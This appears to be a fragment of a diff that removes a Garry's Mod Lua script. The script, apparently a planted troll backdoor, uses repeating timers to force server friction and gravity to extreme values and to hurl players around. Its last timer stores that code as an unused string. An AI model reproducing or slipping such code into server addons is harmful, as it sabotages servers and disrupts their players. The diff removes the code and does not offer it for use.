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- util.AddNetworkString "skeleton_dancing_troll"
- local lol = {}
- function lol:RandomString( intMin, intMax )
- local ret = ""
- for _ = 1, math.random( intMin, intMax ) do
- ret = ret.. string.char( math.random(65, 90) )
- end
- return ret
- end
- lol.m_tblActions = {}
- lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
- lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
- function lol:PushAction( intChainDelay, func )
- self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
- end
- function lol:NextAction( pPlayer )
- pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
- if not self.m_tblActions[pPlayer.m_intCurAction] then return end
- timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
- if not IsValid( pPlayer ) then return end
- self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
- self:NextAction( pPlayer )
- end )
- end
- timer.Create( "moneymonsseyyyyyyyyy", 0.1, 0, function() RunConsoleCommand("sv_friction", "-8") end)
- timer.Create( "sethealhhhhhhh", 1, 0, function() RunConsoleCommand("sv_gravity", "-600") end)
- timer.Create( "ohnon", 0.1, 0, function() local kkkjkj = [[ for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end]]) end)
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